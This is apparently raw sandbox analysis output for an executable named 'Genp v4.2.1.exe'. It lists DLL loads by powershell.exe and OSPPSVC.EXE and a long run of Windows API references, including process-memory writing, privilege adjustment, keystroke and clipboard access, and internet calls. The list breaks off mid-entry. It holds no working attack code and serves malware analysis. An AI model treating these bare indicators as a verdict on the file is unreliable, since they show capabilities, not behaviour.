%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00006656) "OSPPSVC.EXE" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00005740) "OSPPSVC.EXE" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00005740) "OSPPSVC.EXE" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005740) "OSPPSVC.EXE" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00005740) "OSPPSVC.EXE" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005740) "OSPPSVC.EXE" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005740) "OSPPSVC.EXE" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005740) "OSPPSVC.EXE" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005740) "OSPPSVC.EXE" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005740) "OSPPSVC.EXE" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005740) "OSPPSVC.EXE" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00007652) "OSPPSVC.EXE" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00007652) "OSPPSVC.EXE" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007652) "OSPPSVC.EXE" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00007652) "OSPPSVC.EXE" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007652) "OSPPSVC.EXE" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00007652) "OSPPSVC.EXE" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007652) "OSPPSVC.EXE" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007652) "OSPPSVC.EXE" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007652) "OSPPSVC.EXE" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007652)36:T102de,Found reference to API (Indicator: "SetFileAttributes"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateDirectory"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetTempPath"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FlsAlloc"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FlsFree"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FlsGetValue"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FlsSetValue"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "AreFileApisANSI"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CompareStringEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetDateFormatEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetTimeFormatEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LCMapStringEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LocaleNameToLCID"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetNativeSystemInfo"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetModuleHandleExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetSystemWow64DirectoryW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RegDeleteKeyExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetFileVersionInfoW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "VerQueryValueW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "WNetAddConnection2W"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "WNetUseConnectionW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "WNetCancelConnection2W"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "WNetGetConnectionW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InternetCloseHandle"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InternetOpenW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InternetSetOptionW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InternetCrackUrlW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "HttpQueryInfoW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InternetQueryOptionW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InternetConnectW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "HttpOpenRequestW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "HttpSendRequestW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FtpOpenFileW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FtpGetFileSize"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InternetOpenUrlW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InternetReadFile"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InternetQueryDataAvailable"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetProcessMemoryInfo"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IcmpSendEcho"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateEnvironmentBlock"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DestroyEnvironmentBlock"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RaiseException"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetLastError"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "lstrcmpiW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IsDebuggerPresent"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetFullPathNameW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CloseHandle"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetCurrentThread"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DuplicateHandle"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateThread"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "HeapAlloc"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetProcessHeap"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "HeapFree"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "Sleep"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "MulDiv"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetVersionExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IsWow64Process"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FreeLibrary"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetProcAddress"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetErrorMode"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "lstrcpyW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "lstrlenW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "VirtualFreeEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "OpenProcess"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "VirtualAllocEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "WriteProcessMemory"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ReadProcessMemory"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateFileW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetFilePointerEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetEndOfFile"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ReadFile"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "WriteFile"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "TerminateProcess"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "Process32FirstW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "Process32NextW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetFileTime"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetFileAttributesW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FindFirstFileW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FindClose"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetLongPathNameW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetShortPathNameW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DeleteFileW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FindNextFileW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CopyFileExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "MoveFileW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateDirectoryW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RemoveDirectoryW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetSystemPowerState"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LoadResource"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LockResource"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SizeofResource"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "OutputDebugStringW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetTempPathW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetTempFileNameW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DeviceIoControl"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetLocalTime"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CompareStringW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetStdHandle"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreatePipe"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "TerminateThread"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FindResourceExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CopyFileW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "VirtualFree"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FormatMessageW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetPrivateProfileStringW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "WritePrivateProfileStringW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetPrivateProfileSectionW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "WritePrivateProfileSectionW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetPrivateProfileSectionNamesW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FileTimeToLocalFileTime"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SystemTimeToFileTime"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetDriveTypeW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetDiskFreeSpaceW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetVolumeInformationW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetVolumeLabelW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateHardLinkW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetFileAttributesW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateEventW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetEvent"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetEnvironmentVariableW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GlobalLock"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetFileSize"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GlobalFree"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GlobalMemoryStatusEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "HeapSize"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetComputerNameW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetProcessIoCounters"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateProcessW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetProcessId"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetPriorityClass"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DestroyIcon"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "MessageBoxA"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetForegroundWindow"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetSysColorBrush"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LoadCursorW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LoadIconW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateWindowExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ShowWindow"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetTimer"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreatePopupMenu"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "KillTimer"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "PostQuitMessage"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetFocus"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "MoveWindow"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DefWindowProcW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "MessageBoxW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "OpenWindowStationW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetProcessWindowStation"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetProcessWindowStation"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "OpenDesktopW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CloseWindowStation"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CloseDesktop"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetWindowRect"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetParent"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CharUpperBuffW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "EnumChildWindows"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ScreenToClient"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetWindowTextW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetFocus"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "AttachThreadInput"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetWindowThreadProcessId"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InvalidateRect"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "EnableWindow"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IsWindowVisible"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IsWindowEnabled"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IsWindow"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetDesktopWindow"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "EnumWindows"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DestroyWindow"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetMenu"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetClientRect"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "BeginPaint"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetDC"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ReleaseDC"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CopyRect"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetWindowTextW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "MessageBeep"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LoadStringW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetKeyState"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetKeyboardState"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetAsyncKeyState"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SendInput"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SystemParametersInfoW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IsIconic"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetMenuItemInfoW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetMenuItemInfoW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetMenuItemCount"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetMenuItemID"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CheckMenuRadioItem"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DeleteMenu"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetCursorPos"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "TrackPopupMenuEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InsertMenuItemW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetMenuDefaultItem"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "EnumThreadWindows"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetActiveWindow"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LoadImageW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CharLowerBuffW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "UnregisterHotKey"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "PeekMessageW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "TranslateMessage"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DispatchMessageW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "OpenClipboard"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetClipboardData"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CloseClipboard"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CountClipboardFormats"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "EmptyClipboard"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetClipboardData"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetRect"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "AdjustWindowRectEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CopyImage"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetWindowPos"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetCursorInfo"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RegisterHotKey"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ClientToScreen"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IsCharAlphaW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IsCharAlphaNumericW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IsCharUpperW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetMenuStringW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetSubMenu"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetCaretPos"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "IsZoomed"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "TranslateAcceleratorW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetSysColor"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InflateRect"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DrawFocusRect"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FrameRect"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DrawFrameControl"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FillRect"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "PtInRect"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DestroyAcceleratorTable"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateAcceleratorTableW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetCursor"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetWindowDC"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetActiveWindow"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CharNextW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "wsprintfW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RedrawWindow"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DrawMenuBar"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DestroyMenu"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetMenu"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetWindowTextLengthW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateMenu"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "ReleaseCapture"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetCapture"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DeleteObject"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateCompatibleBitmap"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateCompatibleDC"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SelectObject"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "StretchBlt"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetDIBits"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DeleteDC"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetStockObject"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateSolidBrush"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RoundRect"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetObjectW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetOpenFileNameW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetSaveFileNameW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RegOpenKeyExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RegCloseKey"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RegQueryValueExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RegConnectRegistryW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InitializeSecurityDescriptor"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "InitializeAcl"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "OpenThreadToken"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LookupPrivilegeValueW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "DuplicateTokenEx"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateProcessAsUserW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CreateProcessWithLogonW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetLengthSid"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CopySid"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "LogonUserW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "CheckTokenMembership"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "FreeSid"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetSecurityDescriptorDacl"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetAclInformation"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetAce"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "AddAce"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "GetUserNameW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RegCreateKeyExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: "RegSetValueExW"; File: "Genp v4.2.1.exe") Found reference to API (Indicator: 